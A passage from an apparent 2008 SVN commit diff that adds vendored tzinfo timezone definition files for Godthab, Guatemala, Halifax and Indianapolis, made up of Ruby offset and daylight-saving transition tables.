+          tz.transition 2030, 3, :o2, 1899363600
+          tz.transition 2030, 11, :o1, 1919923200
+          tz.transition 2031, 3, :o2, 1930813200
+          tz.transition 2031, 11, :o1, 1951372800
+          tz.transition 2032, 3, :o2, 1962867600
+          tz.transition 2032, 11, :o1, 1983427200
+          tz.transition 2033, 3, :o2, 1994317200
+          tz.transition 2033, 11, :o1, 2014876800
+          tz.transition 2034, 3, :o2, 2025766800
+          tz.transition 2034, 11, :o1, 2046326400
+          tz.transition 2035, 3, :o2, 2057216400
+          tz.transition 2035, 11, :o1, 2077776000
+          tz.transition 2036, 3, :o2, 2088666000
+          tz.transition 2036, 11, :o1, 2109225600
+          tz.transition 2037, 3, :o2, 2120115600
+          tz.transition 2037, 11, :o1, 2140675200
+          tz.transition 2038, 3, :o2, 19723975, 8
+          tz.transition 2038, 11, :o1, 14794409, 6
+          tz.transition 2039, 3, :o2, 19726887, 8
+          tz.transition 2039, 11, :o1, 14796593, 6
+          tz.transition 2040, 3, :o2, 19729799, 8
+          tz.transition 2040, 11, :o1, 14798777, 6
+          tz.transition 2041, 3, :o2, 19732711, 8
+          tz.transition 2041, 11, :o1, 14800961, 6
+          tz.transition 2042, 3, :o2, 19735623, 8
+          tz.transition 2042, 11, :o1, 14803145, 6
+          tz.transition 2043, 3, :o2, 19738535, 8
+          tz.transition 2043, 11, :o1, 14805329, 6
+          tz.transition 2044, 3, :o2, 19741503, 8
+          tz.transition 2044, 11, :o1, 14807555, 6
+          tz.transition 2045, 3, :o2, 19744415, 8
+          tz.transition 2045, 11, :o1, 14809739, 6
+          tz.transition 2046, 3, :o2, 19747327, 8
+          tz.transition 2046, 11, :o1, 14811923, 6
+          tz.transition 2047, 3, :o2, 19750239, 8
+          tz.transition 2047, 11, :o1, 14814107, 6
+          tz.transition 2048, 3, :o2, 19753151, 8
+          tz.transition 2048, 11, :o1, 14816291, 6
+          tz.transition 2049, 3, :o2, 19756119, 8
+          tz.transition 2049, 11, :o1, 14818517, 6
+          tz.transition 2050, 3, :o2, 19759031, 8
+          tz.transition 2050, 11, :o1, 14820701, 6
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Godthab.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,161 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Godthab
+        include TimezoneDefinition
+        
+        timezone 'America/Godthab' do |tz|
+          tz.offset :o0, -12416, 0, :LMT
+          tz.offset :o1, -10800, 0, :WGT
+          tz.offset :o2, -10800, 3600, :WGST
+          
+          tz.transition 1916, 7, :o1, 3268448069, 1350
+          tz.transition 1980, 4, :o2, 323845200
+          tz.transition 1980, 9, :o1, 338950800
+          tz.transition 1981, 3, :o2, 354675600
+          tz.transition 1981, 9, :o1, 370400400
+          tz.transition 1982, 3, :o2, 386125200
+          tz.transition 1982, 9, :o1, 401850000
+          tz.transition 1983, 3, :o2, 417574800
+          tz.transition 1983, 9, :o1, 433299600
+          tz.transition 1984, 3, :o2, 449024400
+          tz.transition 1984, 9, :o1, 465354000
+          tz.transition 1985, 3, :o2, 481078800
+          tz.transition 1985, 9, :o1, 496803600
+          tz.transition 1986, 3, :o2, 512528400
+          tz.transition 1986, 9, :o1, 528253200
+          tz.transition 1987, 3, :o2, 543978000
+          tz.transition 1987, 9, :o1, 559702800
+          tz.transition 1988, 3, :o2, 575427600
+          tz.transition 1988, 9, :o1, 591152400
+          tz.transition 1989, 3, :o2, 606877200
+          tz.transition 1989, 9, :o1, 622602000
+          tz.transition 1990, 3, :o2, 638326800
+          tz.transition 1990, 9, :o1, 654656400
+          tz.transition 1991, 3, :o2, 670381200
+          tz.transition 1991, 9, :o1, 686106000
+          tz.transition 1992, 3, :o2, 701830800
+          tz.transition 1992, 9, :o1, 717555600
+          tz.transition 1993, 3, :o2, 733280400
+          tz.transition 1993, 9, :o1, 749005200
+          tz.transition 1994, 3, :o2, 764730000
+          tz.transition 1994, 9, :o1, 780454800
+          tz.transition 1995, 3, :o2, 796179600
+          tz.transition 1995, 9, :o1, 811904400
+          tz.transition 1996, 3, :o2, 828234000
+          tz.transition 1996, 10, :o1, 846378000
+          tz.transition 1997, 3, :o2, 859683600
+          tz.transition 1997, 10, :o1, 877827600
+          tz.transition 1998, 3, :o2, 891133200
+          tz.transition 1998, 10, :o1, 909277200
+          tz.transition 1999, 3, :o2, 922582800
+          tz.transition 1999, 10, :o1, 941331600
+          tz.transition 2000, 3, :o2, 954032400
+          tz.transition 2000, 10, :o1, 972781200
+          tz.transition 2001, 3, :o2, 985482000
+          tz.transition 2001, 10, :o1, 1004230800
+          tz.transition 2002, 3, :o2, 1017536400
+          tz.transition 2002, 10, :o1, 1035680400
+          tz.transition 2003, 3, :o2, 1048986000
+          tz.transition 2003, 10, :o1, 1067130000
+          tz.transition 2004, 3, :o2, 1080435600
+          tz.transition 2004, 10, :o1, 1099184400
+          tz.transition 2005, 3, :o2, 1111885200
+          tz.transition 2005, 10, :o1, 1130634000
+          tz.transition 2006, 3, :o2, 1143334800
+          tz.transition 2006, 10, :o1, 1162083600
+          tz.transition 2007, 3, :o2, 1174784400
+          tz.transition 2007, 10, :o1, 1193533200
+          tz.transition 2008, 3, :o2, 1206838800
+          tz.transition 2008, 10, :o1, 1224982800
+          tz.transition 2009, 3, :o2, 1238288400
+          tz.transition 2009, 10, :o1, 1256432400
+          tz.transition 2010, 3, :o2, 1269738000
+          tz.transition 2010, 10, :o1, 1288486800
+          tz.transition 2011, 3, :o2, 1301187600
+          tz.transition 2011, 10, :o1, 1319936400
+          tz.transition 2012, 3, :o2, 1332637200
+          tz.transition 2012, 10, :o1, 1351386000
+          tz.transition 2013, 3, :o2, 1364691600
+          tz.transition 2013, 10, :o1, 1382835600
+          tz.transition 2014, 3, :o2, 1396141200
+          tz.transition 2014, 10, :o1, 1414285200
+          tz.transition 2015, 3, :o2, 1427590800
+          tz.transition 2015, 10, :o1, 1445734800
+          tz.transition 2016, 3, :o2, 1459040400
+          tz.transition 2016, 10, :o1, 1477789200
+          tz.transition 2017, 3, :o2, 1490490000
+          tz.transition 2017, 10, :o1, 1509238800
+          tz.transition 2018, 3, :o2, 1521939600
+          tz.transition 2018, 10, :o1, 1540688400
+          tz.transition 2019, 3, :o2, 1553994000
+          tz.transition 2019, 10, :o1, 1572138000
+          tz.transition 2020, 3, :o2, 1585443600
+          tz.transition 2020, 10, :o1, 1603587600
+          tz.transition 2021, 3, :o2, 1616893200
+          tz.transition 2021, 10, :o1, 1635642000
+          tz.transition 2022, 3, :o2, 1648342800
+          tz.transition 2022, 10, :o1, 1667091600
+          tz.transition 2023, 3, :o2, 1679792400
+          tz.transition 2023, 10, :o1, 1698541200
+          tz.transition 2024, 3, :o2, 1711846800
+          tz.transition 2024, 10, :o1, 1729990800
+          tz.transition 2025, 3, :o2, 1743296400
+          tz.transition 2025, 10, :o1, 1761440400
+          tz.transition 2026, 3, :o2, 1774746000
+          tz.transition 2026, 10, :o1, 1792890000
+          tz.transition 2027, 3, :o2, 1806195600
+          tz.transition 2027, 10, :o1, 1824944400
+          tz.transition 2028, 3, :o2, 1837645200
+          tz.transition 2028, 10, :o1, 1856394000
+          tz.transition 2029, 3, :o2, 1869094800
+          tz.transition 2029, 10, :o1, 1887843600
+          tz.transition 2030, 3, :o2, 1901149200
+          tz.transition 2030, 10, :o1, 1919293200
+          tz.transition 2031, 3, :o2, 1932598800
+          tz.transition 2031, 10, :o1, 1950742800
+          tz.transition 2032, 3, :o2, 1964048400
+          tz.transition 2032, 10, :o1, 1982797200
+          tz.transition 2033, 3, :o2, 1995498000
+          tz.transition 2033, 10, :o1, 2014246800
+          tz.transition 2034, 3, :o2, 2026947600
+          tz.transition 2034, 10, :o1, 2045696400
+          tz.transition 2035, 3, :o2, 2058397200
+          tz.transition 2035, 10, :o1, 2077146000
+          tz.transition 2036, 3, :o2, 2090451600
+          tz.transition 2036, 10, :o1, 2108595600
+          tz.transition 2037, 3, :o2, 2121901200
+          tz.transition 2037, 10, :o1, 2140045200
+          tz.transition 2038, 3, :o2, 59172253, 24
+          tz.transition 2038, 10, :o1, 59177461, 24
+          tz.transition 2039, 3, :o2, 59180989, 24
+          tz.transition 2039, 10, :o1, 59186197, 24
+          tz.transition 2040, 3, :o2, 59189725, 24
+          tz.transition 2040, 10, :o1, 59194933, 24
+          tz.transition 2041, 3, :o2, 59198629, 24
+          tz.transition 2041, 10, :o1, 59203669, 24
+          tz.transition 2042, 3, :o2, 59207365, 24
+          tz.transition 2042, 10, :o1, 59212405, 24
+          tz.transition 2043, 3, :o2, 59216101, 24
+          tz.transition 2043, 10, :o1, 59221141, 24
+          tz.transition 2044, 3, :o2, 59224837, 24
+          tz.transition 2044, 10, :o1, 59230045, 24
+          tz.transition 2045, 3, :o2, 59233573, 24
+          tz.transition 2045, 10, :o1, 59238781, 24
+          tz.transition 2046, 3, :o2, 59242309, 24
+          tz.transition 2046, 10, :o1, 59247517, 24
+          tz.transition 2047, 3, :o2, 59251213, 24
+          tz.transition 2047, 10, :o1, 59256253, 24
+          tz.transition 2048, 3, :o2, 59259949, 24
+          tz.transition 2048, 10, :o1, 59264989, 24
+          tz.transition 2049, 3, :o2, 59268685, 24
+          tz.transition 2049, 10, :o1, 59273893, 24
+          tz.transition 2050, 3, :o2, 59277421, 24
+          tz.transition 2050, 10, :o1, 59282629, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Guatemala.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,27 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Guatemala
+        include TimezoneDefinition
+        
+        timezone 'America/Guatemala' do |tz|
+          tz.offset :o0, -21724, 0, :LMT
+          tz.offset :o1, -21600, 0, :CST
+          tz.offset :o2, -21600, 3600, :CDT
+          
+          tz.transition 1918, 10, :o1, 52312429831, 21600
+          tz.transition 1973, 11, :o2, 123055200
+          tz.transition 1974, 2, :o1, 130914000
+          tz.transition 1983, 5, :o2, 422344800
+          tz.transition 1983, 9, :o1, 433054800
+          tz.transition 1991, 3, :o2, 669708000
+          tz.transition 1991, 9, :o1, 684219600
+          tz.transition 2006, 4, :o2, 1146376800
+          tz.transition 2006, 10, :o1, 1159678800
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Halifax.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,274 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Halifax
+        include TimezoneDefinition
+        
+        timezone 'America/Halifax' do |tz|
+          tz.offset :o0, -15264, 0, :LMT
+          tz.offset :o1, -14400, 0, :AST
+          tz.offset :o2, -14400, 3600, :ADT
+          tz.offset :o3, -14400, 3600, :AWT
+          tz.offset :o4, -14400, 3600, :APT
+          
+          tz.transition 1902, 6, :o1, 724774703, 300
+          tz.transition 1916, 4, :o2, 7262864, 3
+          tz.transition 1916, 10, :o1, 19369101, 8
+          tz.transition 1918, 4, :o2, 9686791, 4
+          tz.transition 1918, 10, :o1, 58125545, 24
+          tz.transition 1920, 5, :o2, 7267361, 3
+          tz.transition 1920, 8, :o1, 19380525, 8
+          tz.transition 1921, 5, :o2, 7268447, 3
+          tz.transition 1921, 9, :o1, 19383501, 8
+          tz.transition 1922, 4, :o2, 7269524, 3
+          tz.transition 1922, 9, :o1, 19386421, 8
+          tz.transition 1923, 5, :o2, 7270637, 3
+          tz.transition 1923, 9, :o1, 19389333, 8
+          tz.transition 1924, 5, :o2, 7271729, 3
+          tz.transition 1924, 9, :o1, 19392349, 8
+          tz.transition 1925, 5, :o2, 7272821, 3
+          tz.transition 1925, 9, :o1, 19395373, 8
+          tz.transition 1926, 5, :o2, 7273955, 3
+          tz.transition 1926, 9, :o1, 19398173, 8
+          tz.transition 1927, 5, :o2, 7275005, 3
+          tz.transition 1927, 9, :o1, 19401197, 8
+          tz.transition 1928, 5, :o2, 7276139, 3
+          tz.transition 1928, 9, :o1, 19403989, 8
+          tz.transition 1929, 5, :o2, 7277231, 3
+          tz.transition 1929, 9, :o1, 19406861, 8
+          tz.transition 1930, 5, :o2, 7278323, 3
+          tz.transition 1930, 9, :o1, 19409877, 8
+          tz.transition 1931, 5, :o2, 7279415, 3
+          tz.transition 1931, 9, :o1, 19412901, 8
+          tz.transition 1932, 5, :o2, 7280486, 3
+          tz.transition 1932, 9, :o1, 19415813, 8
+          tz.transition 1933, 4, :o2, 7281578, 3
+          tz.transition 1933, 10, :o1, 19418781, 8
+          tz.transition 1934, 5, :o2, 7282733, 3
+          tz.transition 1934, 9, :o1, 19421573, 8
+          tz.transition 1935, 6, :o2, 7283867, 3
+          tz.transition 1935, 9, :o1, 19424605, 8
+          tz.transition 1936, 6, :o2, 7284962, 3
+          tz.transition 1936, 9, :o1, 19427405, 8
+          tz.transition 1937, 5, :o2, 7285967, 3
+          tz.transition 1937, 9, :o1, 19430429, 8
+          tz.transition 1938, 5, :o2, 7287059, 3
+          tz.transition 1938, 9, :o1, 19433341, 8
+          tz.transition 1939, 5, :o2, 7288235, 3
+          tz.transition 1939, 9, :o1, 19436253, 8
+          tz.transition 1940, 5, :o2, 7289264, 3
+          tz.transition 1940, 9, :o1, 19439221, 8
+          tz.transition 1941, 5, :o2, 7290356, 3
+          tz.transition 1941, 9, :o1, 19442133, 8
+          tz.transition 1942, 2, :o3, 9721599, 4
+          tz.transition 1945, 8, :o4, 58360379, 24
+          tz.transition 1945, 9, :o1, 58361489, 24
+          tz.transition 1946, 4, :o2, 9727755, 4
+          tz.transition 1946, 9, :o1, 58370225, 24
+          tz.transition 1947, 4, :o2, 9729211, 4
+          tz.transition 1947, 9, :o1, 58378961, 24
+          tz.transition 1948, 4, :o2, 9730667, 4
+          tz.transition 1948, 9, :o1, 58387697, 24
+          tz.transition 1949, 4, :o2, 9732123, 4
+          tz.transition 1949, 9, :o1, 58396433, 24
+          tz.transition 1951, 4, :o2, 9735063, 4
+          tz.transition 1951, 9, :o1, 58414073, 24
+          tz.transition 1952, 4, :o2, 9736519, 4
+          tz.transition 1952, 9, :o1, 58422809, 24
+          tz.transition 1953, 4, :o2, 9737975, 4
+          tz.transition 1953, 9, :o1, 58431545, 24
+          tz.transition 1954, 4, :o2, 9739431, 4
+          tz.transition 1954, 9, :o1, 58440281, 24
+          tz.transition 1956, 4, :o2, 9742371, 4
+          tz.transition 1956, 9, :o1, 58457921, 24
+          tz.transition 1957, 4, :o2, 9743827, 4
+          tz.transition 1957, 9, :o1, 58466657, 24
+          tz.transition 1958, 4, :o2, 9745283, 4
+          tz.transition 1958, 9, :o1, 58475393, 24
+          tz.transition 1959, 4, :o2, 9746739, 4
+          tz.transition 1959, 9, :o1, 58484129, 24
+          tz.transition 1962, 4, :o2, 9751135, 4
+          tz.transition 1962, 10, :o1, 58511177, 24
+          tz.transition 1963, 4, :o2, 9752591, 4
+          tz.transition 1963, 10, :o1, 58519913, 24
+          tz.transition 1964, 4, :o2, 9754047, 4
+          tz.transition 1964, 10, :o1, 58528649, 24
+          tz.transition 1965, 4, :o2, 9755503, 4
+          tz.transition 1965, 10, :o1, 58537553, 24
+          tz.transition 1966, 4, :o2, 9756959, 4
+          tz.transition 1966, 10, :o1, 58546289, 24
+          tz.transition 1967, 4, :o2, 9758443, 4
+          tz.transition 1967, 10, :o1, 58555025, 24
+          tz.transition 1968, 4, :o2, 9759899, 4
+          tz.transition 1968, 10, :o1, 58563761, 24
+          tz.transition 1969, 4, :o2, 9761355, 4
+          tz.transition 1969, 10, :o1, 58572497, 24
+          tz.transition 1970, 4, :o2, 9957600
+          tz.transition 1970, 10, :o1, 25678800
+          tz.transition 1971, 4, :o2, 41407200
+          tz.transition 1971, 10, :o1, 57733200
+          tz.transition 1972, 4, :o2, 73461600
+          tz.transition 1972, 10, :o1, 89182800
+          tz.transition 1973, 4, :o2, 104911200
+          tz.transition 1973, 10, :o1, 120632400
+          tz.transition 1974, 4, :o2, 136360800
+          tz.transition 1974, 10, :o1, 152082000
+          tz.transition 1975, 4, :o2, 167810400
+          tz.transition 1975, 10, :o1, 183531600
+          tz.transition 1976, 4, :o2, 199260000
+          tz.transition 1976, 10, :o1, 215586000
+          tz.transition 1977, 4, :o2, 230709600
+          tz.transition 1977, 10, :o1, 247035600
+          tz.transition 1978, 4, :o2, 262764000
+          tz.transition 1978, 10, :o1, 278485200
+          tz.transition 1979, 4, :o2, 294213600
+          tz.transition 1979, 10, :o1, 309934800
+          tz.transition 1980, 4, :o2, 325663200
+          tz.transition 1980, 10, :o1, 341384400
+          tz.transition 1981, 4, :o2, 357112800
+          tz.transition 1981, 10, :o1, 372834000
+          tz.transition 1982, 4, :o2, 388562400
+          tz.transition 1982, 10, :o1, 404888400
+          tz.transition 1983, 4, :o2, 420012000
+          tz.transition 1983, 10, :o1, 436338000
+          tz.transition 1984, 4, :o2, 452066400
+          tz.transition 1984, 10, :o1, 467787600
+          tz.transition 1985, 4, :o2, 483516000
+          tz.transition 1985, 10, :o1, 499237200
+          tz.transition 1986, 4, :o2, 514965600
+          tz.transition 1986, 10, :o1, 530686800
+          tz.transition 1987, 4, :o2, 544600800
+          tz.transition 1987, 10, :o1, 562136400
+          tz.transition 1988, 4, :o2, 576050400
+          tz.transition 1988, 10, :o1, 594190800
+          tz.transition 1989, 4, :o2, 607500000
+          tz.transition 1989, 10, :o1, 625640400
+          tz.transition 1990, 4, :o2, 638949600
+          tz.transition 1990, 10, :o1, 657090000
+          tz.transition 1991, 4, :o2, 671004000
+          tz.transition 1991, 10, :o1, 688539600
+          tz.transition 1992, 4, :o2, 702453600
+          tz.transition 1992, 10, :o1, 719989200
+          tz.transition 1993, 4, :o2, 733903200
+          tz.transition 1993, 10, :o1, 752043600
+          tz.transition 1994, 4, :o2, 765352800
+          tz.transition 1994, 10, :o1, 783493200
+          tz.transition 1995, 4, :o2, 796802400
+          tz.transition 1995, 10, :o1, 814942800
+          tz.transition 1996, 4, :o2, 828856800
+          tz.transition 1996, 10, :o1, 846392400
+          tz.transition 1997, 4, :o2, 860306400
+          tz.transition 1997, 10, :o1, 877842000
+          tz.transition 1998, 4, :o2, 891756000
+          tz.transition 1998, 10, :o1, 909291600
+          tz.transition 1999, 4, :o2, 923205600
+          tz.transition 1999, 10, :o1, 941346000
+          tz.transition 2000, 4, :o2, 954655200
+          tz.transition 2000, 10, :o1, 972795600
+          tz.transition 2001, 4, :o2, 986104800
+          tz.transition 2001, 10, :o1, 1004245200
+          tz.transition 2002, 4, :o2, 1018159200
+          tz.transition 2002, 10, :o1, 1035694800
+          tz.transition 2003, 4, :o2, 1049608800
+          tz.transition 2003, 10, :o1, 1067144400
+          tz.transition 2004, 4, :o2, 1081058400
+          tz.transition 2004, 10, :o1, 1099198800
+          tz.transition 2005, 4, :o2, 1112508000
+          tz.transition 2005, 10, :o1, 1130648400
+          tz.transition 2006, 4, :o2, 1143957600
+          tz.transition 2006, 10, :o1, 1162098000
+          tz.transition 2007, 3, :o2, 1173592800
+          tz.transition 2007, 11, :o1, 1194152400
+          tz.transition 2008, 3, :o2, 1205042400
+          tz.transition 2008, 11, :o1, 1225602000
+          tz.transition 2009, 3, :o2, 1236492000
+          tz.transition 2009, 11, :o1, 1257051600
+          tz.transition 2010, 3, :o2, 1268546400
+          tz.transition 2010, 11, :o1, 1289106000
+          tz.transition 2011, 3, :o2, 1299996000
+          tz.transition 2011, 11, :o1, 1320555600
+          tz.transition 2012, 3, :o2, 1331445600
+          tz.transition 2012, 11, :o1, 1352005200
+          tz.transition 2013, 3, :o2, 1362895200
+          tz.transition 2013, 11, :o1, 1383454800
+          tz.transition 2014, 3, :o2, 1394344800
+          tz.transition 2014, 11, :o1, 1414904400
+          tz.transition 2015, 3, :o2, 1425794400
+          tz.transition 2015, 11, :o1, 1446354000
+          tz.transition 2016, 3, :o2, 1457848800
+          tz.transition 2016, 11, :o1, 1478408400
+          tz.transition 2017, 3, :o2, 1489298400
+          tz.transition 2017, 11, :o1, 1509858000
+          tz.transition 2018, 3, :o2, 1520748000
+          tz.transition 2018, 11, :o1, 1541307600
+          tz.transition 2019, 3, :o2, 1552197600
+          tz.transition 2019, 11, :o1, 1572757200
+          tz.transition 2020, 3, :o2, 1583647200
+          tz.transition 2020, 11, :o1, 1604206800
+          tz.transition 2021, 3, :o2, 1615701600
+          tz.transition 2021, 11, :o1, 1636261200
+          tz.transition 2022, 3, :o2, 1647151200
+          tz.transition 2022, 11, :o1, 1667710800
+          tz.transition 2023, 3, :o2, 1678600800
+          tz.transition 2023, 11, :o1, 1699160400
+          tz.transition 2024, 3, :o2, 1710050400
+          tz.transition 2024, 11, :o1, 1730610000
+          tz.transition 2025, 3, :o2, 1741500000
+          tz.transition 2025, 11, :o1, 1762059600
+          tz.transition 2026, 3, :o2, 1772949600
+          tz.transition 2026, 11, :o1, 1793509200
+          tz.transition 2027, 3, :o2, 1805004000
+          tz.transition 2027, 11, :o1, 1825563600
+          tz.transition 2028, 3, :o2, 1836453600
+          tz.transition 2028, 11, :o1, 1857013200
+          tz.transition 2029, 3, :o2, 1867903200
+          tz.transition 2029, 11, :o1, 1888462800
+          tz.transition 2030, 3, :o2, 1899352800
+          tz.transition 2030, 11, :o1, 1919912400
+          tz.transition 2031, 3, :o2, 1930802400
+          tz.transition 2031, 11, :o1, 1951362000
+          tz.transition 2032, 3, :o2, 1962856800
+          tz.transition 2032, 11, :o1, 1983416400
+          tz.transition 2033, 3, :o2, 1994306400
+          tz.transition 2033, 11, :o1, 2014866000
+          tz.transition 2034, 3, :o2, 2025756000
+          tz.transition 2034, 11, :o1, 2046315600
+          tz.transition 2035, 3, :o2, 2057205600
+          tz.transition 2035, 11, :o1, 2077765200
+          tz.transition 2036, 3, :o2, 2088655200
+          tz.transition 2036, 11, :o1, 2109214800
+          tz.transition 2037, 3, :o2, 2120104800
+          tz.transition 2037, 11, :o1, 2140664400
+          tz.transition 2038, 3, :o2, 9861987, 4
+          tz.transition 2038, 11, :o1, 59177633, 24
+          tz.transition 2039, 3, :o2, 9863443, 4
+          tz.transition 2039, 11, :o1, 59186369, 24
+          tz.transition 2040, 3, :o2, 9864899, 4
+          tz.transition 2040, 11, :o1, 59195105, 24
+          tz.transition 2041, 3, :o2, 9866355, 4
+          tz.transition 2041, 11, :o1, 59203841, 24
+          tz.transition 2042, 3, :o2, 9867811, 4
+          tz.transition 2042, 11, :o1, 59212577, 24
+          tz.transition 2043, 3, :o2, 9869267, 4
+          tz.transition 2043, 11, :o1, 59221313, 24
+          tz.transition 2044, 3, :o2, 9870751, 4
+          tz.transition 2044, 11, :o1, 59230217, 24
+          tz.transition 2045, 3, :o2, 9872207, 4
+          tz.transition 2045, 11, :o1, 59238953, 24
+          tz.transition 2046, 3, :o2, 9873663, 4
+          tz.transition 2046, 11, :o1, 59247689, 24
+          tz.transition 2047, 3, :o2, 9875119, 4
+          tz.transition 2047, 11, :o1, 59256425, 24
+          tz.transition 2048, 3, :o2, 9876575, 4
+          tz.transition 2048, 11, :o1, 59265161, 24
+          tz.transition 2049, 3, :o2, 9878059, 4
+          tz.transition 2049, 11, :o1, 59274065, 24
+          tz.transition 2050, 3, :o2, 9879515, 4
+          tz.transition 2050, 11, :o1, 59282801, 24
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/activesupport-2.2.2/lib/active_support/vendor/tzinfo-0.3.12/tzinfo/definitions/America/Indiana/Indianapolis.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,149 @@
+require 'tzinfo/timezone_definition'
+
+module TZInfo
+  module Definitions
+    module America
+      module Indiana
+        module Indianapolis
+          include TimezoneDefinition
+          
+          timezone 'America/Indiana/Indianapolis' do |tz|
+            tz.offset :o0, -20678, 0, :LMT
+            tz.offset :o1, -21600, 0, :CST
+            tz.offset :o2, -21600, 3600, :CDT
+            tz.offset :o3, -21600, 3600, :CWT
+            tz.offset :o4, -21600, 3600, :CPT
+            tz.offset :o5, -18000, 0, :EST
+            tz.offset :o6, -18000, 3600, :EDT
+            
+            tz.transition 1883, 11, :o1, 9636533, 4
+            tz.transition 1918, 3, :o2, 14530103, 6
+            tz.transition 1918, 10, :o1, 58125451, 24
+            tz.transition 1919, 3, :o2, 14532287, 6
+            tz.transition 1919, 10, :o1, 58134187, 24
+            tz.transition 1941, 6, :o2, 14581007, 6
+            tz.transition 1941, 9, :o1, 58326379, 24
+            tz.transition 1942, 2, :o3, 14582399, 6
+            tz.transition 1945, 8, :o4, 58360379, 24
+            tz.transition 1945, 9, :o1, 58361491, 24
+            tz.transition 1946, 4, :o2, 14591633, 6
+            tz.transition 1946, 9, :o1, 58370227, 24
+            tz.transition 1947, 4, :o2, 14593817, 6
+            tz.transition 1947, 9, :o1, 58378963, 24
+            tz.transition 1948, 4, :o2, 14596001, 6
+            tz.transition 1948, 9, :o1, 58387699, 24
+            tz.transition 1949, 4, :o2, 14598185, 6
+            tz.transition 1949, 9, :o1, 58396435, 24
+            tz.transition 1950, 4, :o2, 14600411, 6
+            tz.transition 1950, 9, :o1, 58405171, 24
+            tz.transition 1951, 4, :o2, 14602595, 6
+            tz.transition 1951, 9, :o1, 58414075, 24
+            tz.transition 1952, 4, :o2, 14604779, 6
+            tz.transition 1952, 9, :o1, 58422811, 24
+            tz.transition 1953, 4, :o2, 14606963, 6
+            tz.transition 1953, 9, :o1, 58431547, 24
+            tz.transition 1954, 4, :o2, 14609147, 6
+            tz.transition 1954, 9, :o1, 58440283, 24
+            tz.transition 1955, 4, :o5, 14611331, 6
+            tz.transition 1957, 9, :o1, 58466659, 24
+            tz.transition 1958, 4, :o5, 14617925, 6
+            tz.transition 1969, 4, :o6, 58568131, 24
+            tz.transition 1969, 10, :o5, 9762083, 4
+            tz.transition 1970, 4, :o6, 9961200
+            tz.transition 1970, 10, :o5, 25682400
+            tz.transition 2006, 4, :o6, 1143961200
+            tz.transition 2006, 10, :o5, 1162101600
+            tz.transition 2007, 3, :o6, 1173596400
+            tz.transition 2007, 11, :o5, 1194156000
+            tz.transition 2008, 3, :o6, 1205046000
+            tz.transition 2008, 11, :o5, 1225605600
+            tz.transition 2009, 3, :o6, 1236495600
+            tz.transition 2009, 11, :o5, 1257055200
+            tz.transition 2010, 3, :o6, 1268550000
+            tz.transition 2010, 11, :o5, 1289109600
+            tz.transition 2011, 3, :o6, 1299999600
+            tz.transition 2011, 11, :o5, 1320559200
+            tz.transition 2012, 3, :o6, 1331449200
+            tz.transition 2012, 11, :o5, 1352008800
+            tz.transition 2013, 3, :o6, 1362898800
+            tz.transition 2013, 11, :o5, 1383458400
+            tz.transition 2014, 3, :o6, 1394348400
+            tz.transition 2014, 11, :o5, 1414908000
+            tz.transition 2015, 3, :o6, 1425798000
+            tz.transition 2015, 11, :o5, 1446357600
+            tz.transition 2016, 3, :o6, 1457852400
+            tz.transition 2016, 11, :o5, 1478412000
+            tz.transition 2017, 3, :o6, 1489302000
+            tz.transition 2017, 11, :o5, 1509861600
+            tz.transition 2018, 3, :o6, 1520751600
+            tz.transition 2018, 11, :o5, 1541311200
+            tz.transition 2019, 3, :o6, 1552201200
+            tz.transition 2019, 11, :o5, 1572760800
+            tz.transition 2020, 3, :o6, 1583650800
+            tz.transition 2020, 11, :o5, 1604210400
+            tz.transition 2021, 3, :o6, 1615705200
+            tz.transition 2021, 11, :o5, 1636264800
+            tz.transition 2022, 3, :o6, 1647154800
+            tz.transition 2022, 11, :o5, 1667714400
+            tz.transition 2023, 3, :o6, 1678604400
+            tz.transition 2023, 11, :o5, 1699164000
+            tz.transition 2024, 3, :o6, 1710054000
+            tz.transition 2024, 11, :o5, 1730613600
+            tz.transition 2025, 3, :o6, 1741503600
